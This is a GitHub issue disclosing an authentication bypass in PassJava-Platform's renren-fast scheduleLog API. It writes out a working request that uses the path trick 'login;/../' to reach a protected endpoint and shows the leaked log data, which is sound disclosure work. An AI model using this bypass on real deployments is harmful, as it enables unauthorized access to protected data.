

New issue



There is an Incorrect Access Control vulnerability in PassJava-Platform #48

Open



RacerZ-fighting opened on Mar 17 · edited by RacerZ-fighting

Edits ...

[Suggested description]

PassJava-Platform renren-fast was found to have an Incorrect Access Control vulnerability up to 3.0.0, resulting in information leakage.

[Vulnerability Type]

Incorrect access control

[Vendor of Product]

<https://github.com/Jackson0714/PassJava-Platform>

[Affected Product Code Base]

all version (<= 3.0.0)

[Affected Component]

renren-fast /sys/scheduleLog/info API that require authentication

[Attack Type]

Remote

[Vulnerability details]

Directly send the payload below to the API /renren-fast/sys/scheduleLog/info/1 will fail because of the authentication.

```
POST /renren-fast/sys/scheduleLog/info/1 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: ApiFox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8080
Connection: keep-alive
Cookie: JSESSIONID=6A54110114F288E6F7FC6AC6C7D23772
```



POST

http://127.0.0.1:8080/renren-fast/sys/scheduleLog/info/1

RacerZ Running at Mar 17, 2025 at 19:03:45

Params **Body** Headers Cookies Pre Processors Post Processors Auth Settings

none form-data **x-www-form-urlencoded** json xml raw binary GraphQL msgpack

Name	Value	Type	Description
------	-------	------	-------------

Add a new param

Body

Cookies 1

Headers 5

Console

Actual Request •

Share

Pretty

Raw

Preview

Visualize

JSON

utf8



```
1 {  
2   "msg": "invalid token",  
3   "code": 401  
4 }
```

However, send the payload below to the API `/renren-fast/sys/login;../../scheduleLog/info/1` will bypass the authentication.

POST

http://127.0.0.1:8080/renren-fast/sys/login;/../scheduleLog/info/1

RacerZ Running at Mar 17, 2025 at 19:03:45

Params Body Headers Cookies Pre Processors Post Processors Auth Settings

none form-data x-www-form-urlencoded json xml raw binary GraphQL msgpack

Name	Value	Type	Description
------	-------	------	-------------

Add a new param

Body Cookies 1 Headers 5 Console Actual Request

Share

Pretty Raw Preview Visualize JSON utf8

Download Copy Search

```
1 {
2   "msg": "success",
3   "code": 0,
4   "log": {
5     "logId": 1,
6     "jobId": 1,
7     "beanName": "xxx",
8     "params": "123",
9     "status": 1,
10    "error": "0",
11    "times": 123,
12    "createTime": null
13  }
14 }
```

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

 Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

